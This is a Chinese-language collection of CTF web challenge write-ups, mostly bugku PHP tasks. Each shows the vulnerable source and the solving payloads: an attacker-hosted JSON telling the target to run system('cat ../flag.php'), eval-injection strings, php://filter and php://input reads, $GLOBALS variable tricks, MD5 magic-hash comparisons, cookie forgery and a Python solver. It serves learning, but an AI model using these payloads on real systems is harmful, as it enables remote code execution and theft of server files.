ctf - 合集


自己后来做过的各种乱七八糟的题目

爱い窒息、痛 —- php源码阅读,让系统读木马

靶机:http://114.55.36.69:8020

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
// +----------------------------------------------------------------------+
// | PHP version 5 |
// +----------------------------------------------------------------------+
// | Copyright (c) 1997-2004 The PHP Group |
// +----------------------------------------------------------------------+
// | This source file is subject to version 3.0 of the PHP license, |
// | that is bundled with this package in the file LICENSE, and is |
// | available through the world-wide-web at the following url: |
// | http://www.php.net/license/3_0.txt. |
// | If you did not receive a copy of the PHP license and are unable to |
// | obtain it through the world-wide-web, please send a note to |
// | license@php.net so we can mail you a copy immediately. |
// +----------------------------------------------------------------------+
// | Authors: Original Author <author@example.com> |
// | Your Name <you@example.com> |
// +----------------------------------------------------------------------+
//
// $Id:$

$a = isset($_POST['pass']) ? trim($_POST['pass']) : '';
if ($a == '') {
echologin();
} else {
chkpass($a);
helloowner($a); // 关键是这个函数
}
function chkpass($a) {
if (stripos($_SERVER['HTTP_USER_AGENT'], md5($a)) === false) {
echofail(1);
}
return true;
}
function helloowner($a) {
$b = gencodeurl($a);
$c = file_get_contents($b); //这里要求从某个链接的文件读取json字符串,包含f,d字段的json,而且f,d里必须是一段木马,木马格式见下
if ($c == false) {
echofail(2);
}
$d = @json_decode($c, 1);
if (!isset($d['f'])) {
echofail(3);
}
$d['f']($d['d']); // 木马格式
}
function gencodeurl($a) {
$e = md5(date("Y-m-d"));
if (strlen($a) > 40) {
$f = substr($a, 30, 5);
$g = substr($a, 10, 10);
} else {
$f = 'good';
$g = 'web.com';
}
$b = 'http://' . $f . $g;
return $b;
}
function echofail($h) {
$i = 'PGh0bWw+PGhlYWQ+PG1ldGEgY2hhcnNldD0idXRmLTgiLz48dGl0bGU+54ix44GE56qS5oGv44CB55ebPC90aXRsZT48L2hlYWQ+PGJvZHkgc3R5bGU9IndpZHRoOiAzMGVtO21hcmdpbjogMWVtIGF1dG87dGV4dC1hbGlnbjogY2VudGVyOyI+PHAgZXJyaWQ9IiVpZCUiPuKFoS3jgIDjgIDilbAg5b+r55yL44CB5pyJ54Gw5py644CB5Zyo5rK15aS05LiK54Gw5p2l54Gw5Y6755qE44CCPC9wPjxwIHN0eWxlPSJmb250LXNpemU6IDUwJTsiPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmxvdmVzdG9wcGFpbi50a0BibG9nLnZ1bHNweS5jb20vIj7niLHjgYTnqpLmga/jgIHnl5s8L2E+IOS4k+eUqOWQjumXqDwvcD48L2JvZHk+PC9odG1sPg==';
echo str_replace('%id%', $h, base64_decode($i));
exit;
}
function echologin() {
$j = 'PGh0bWw+PGhlYWQ+PG1ldGEgY2hhcnNldD0idXRmLTgiLz48dGl0bGU+54ix44GE56qS5oGv44CB55ebPC90aXRsZT48L2hlYWQ+PGJvZHkgc3R5bGU9IndpZHRoOiAyMGVtO21hcmdpbjogMWVtIGF1dG87dGV4dC1hbGlnbjogY2VudGVyOyI+PGZvcm0gYWNpdG9uPSIiIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzIiBwbGFjZWhvbGRlcj0icGFzcyI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+PHAgc3R5bGU9ImZvbnQtc2l6ZTogNTAlOyI+PGEgaHJlZj0iaHR0cHM6Ly93d3cubG92ZXN0b3BwYWluLnRrQGJsb2cudnVsc3B5LmNvbS8iPueIseOBhOeqkuaBr+OAgeeXmzwvYT4g5LiT55So5ZCO6ZeoPC9wPjwvYm9keT48L2h0bWw+';
echo base64_decode($j);
exit;
} ?>

url方式,超过40个字符长度才可以进入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function gencodeurl($a) {//url切分
$e = md5(date("Y-m-d"));
if (strlen($a) > 40) {//如果长度>40,$f = a[30:35],$g = a[10:20]
$f = substr($a, 30, 5);
$g = substr($a, 10, 10);
} else {
$f = 'good';
$g = 'web.com';
}
$b = 'http://' . $f . $g;
return $b;
}

// 传入字符串示例: http://aaa.com/a.phpccccccccccflag0aaaaaaaaa

下面是需要让 file_get_contents($b) 访问到木马json文件的内容是

1
2
3
4
5
6
7
8
<?php 
$url = array(
"f"=>"system",
"d"=>"cat ../flag.php"
);
$url = json_encode($url);
echo $url;
?>

构造成功之后是:

{“f”:”system”,”d”:”cat ..\/flag.php”}

bugku 系列

变量1

http://123.206.87.240:8004/index1.php

  1. 查看源码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php  
    error_reporting(0);
    include "flag1.php";
    highlight_file(__file__);
    if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){ //正则匹配=> /^开始, \w表示任意一个单词字符,即[a-zA-Z0-9_] ,+将前面的字符匹配一次或多次,$/结尾
    die("args error!");
    }
    eval("var_dump($$args);"); // 执行命令代码
    }
    ?>

分析php的9大内置变量

$_POST [用于接收post提交的数据]
$_GET [用于获取url地址栏的参数数据]
$_FILES [用于文件就收的处理img 最常见]
$_COOKIE [用于获取与setCookie()中的name 值]
$_SESSION [用于存储session的值或获取session中的值]
$_REQUEST [具有get,post的功能,但比较慢]
$SERVER[是预定义服务器变量的一种,所有SERVER[是预定义服务器变量的一种,所有_SERVER [是预定义服务器变量的一种,所有_SERVER开头的都
$GLOBALS [一个包含了所有全局变量的数组]
$_ENV [ 是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它]

得出令 args=GLOBALS 获得flag

本地包含

套路比较多,内容丰富,值得记录

1
2
3
4
5
6
<?php 
include "flag.php";
$a = @$_REQUEST['hello']; // 获取hello参数
eval( "var_dump($a);"); // var_dump()输出文件信息,需要绕过
show_source(__FILE__);
?>
  1. 套路一 直接闭合var_dump

    hello=1);show_source(%27flag.php%27);var_dump(3
    http://123.206.87.240:8003/index.php?hello=1);print_r(file("./flag.php")

  2. 套路二 利用伪协议
    直接使用post来使用伪协议

    http://120.24.86.145:8003/index.php?hello=1);include $_POST[‘f’];//
    在POST区域:f=php://filter/convert.base64-encode/resource=flag.php

  3. 套路三 直接来

    ?hello=get_file_contents(‘flag.php’)
    ?hello=file(‘flag.php’)

总之是字符串拼接玩出了花·····emm

备份是个好习惯

  1. 看到备份首先想到 .bak 文件
  2. 利用御剑工具扫描查看到 index.php ,猜测拿到index.php.bak
  3. 套路:
    1.) 如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。

    QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a
    2.) 利用==漏洞,数组无法被识别,都是null

  4. 特色
    $_SERVER[‘REQUEST_URI’] 用来获取url,可以当作get请求

速度要快

这个故事告诉我们,这狗题目说快速,就说明手动是绝对不行了,需要走脚本了

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import base64
url="http://120.24.86.145:8002/web6/"
r=requests.session()
headers=r.get(url).headers#因为flag在消息头里

str=base64.b64decode(headers['flag'])
str=str.decode()#为了下一步用split不报错,b64decode后操作的对象是byte类型的字符串,而split函数要用str类型的

flag = base64.b64decode(str.split(':')[1])#获得flag:后的值
data={'margin':flag}
print (r.post(url,data).text)#post方法传上去

cookie欺骗

靶机: http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

  1. 铺面的字符串是无效的
  2. 发现在url中看到有base64编码的a2V5cy50eHQ=
  3. 访问后发现依然是无效的字符串
  4. filenam顾名思义可以尝试伪协议,尝试无效
  5. 盲猜filename是可以读取文件,尝试filename赋值为 index.php
  6. 修改line的数据,发现可以读出一行的数据,写脚本读出index.php的完整代码
  7. 脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    <?php
    error_reporting(0);
    $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
    $line=isset($_GET['line'])?intval($_GET['line']):0;
    if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
    $file_list = array(
    '0' =>'keys.txt',
    '1' =>'index.php',
    );
    if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin') {
    $file_list[2]='keys.php';
    }
    if(in_array($file, $file_list)) {
    $fa = file($file);
    echo $fa[$line];
    }
    ?>
  8. 得出结论发现,cookie为margin=margin可以给文件读取的数组赋值给keys.php,则keys.php可能是最终结果隐藏的地方

  9. 在burpsuite中更改cookie

    Cookie: margin=margin

  10. keys.php进行base64编码后传入给filename,得出结果

    web8 姿势整合了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <?php
    extract($_GET);
    if (!empty($ac))
    {
    $f = trim(file_get_contents($fn));
    if ($ac === $f)
    {
    echo "<p>This is flag:" ." $flag</p>";
    }
    else
    {
    echo "<p>sorry!</p>";
    }
    }
    ?>

可以看到ac = f 就行了

  1. 套路1:
    看题目说txt 盲猜 flag.txt 直接拿到
  2. 伪协议
    ac = 5
    fn = php://input
    post数据 5
    可以获得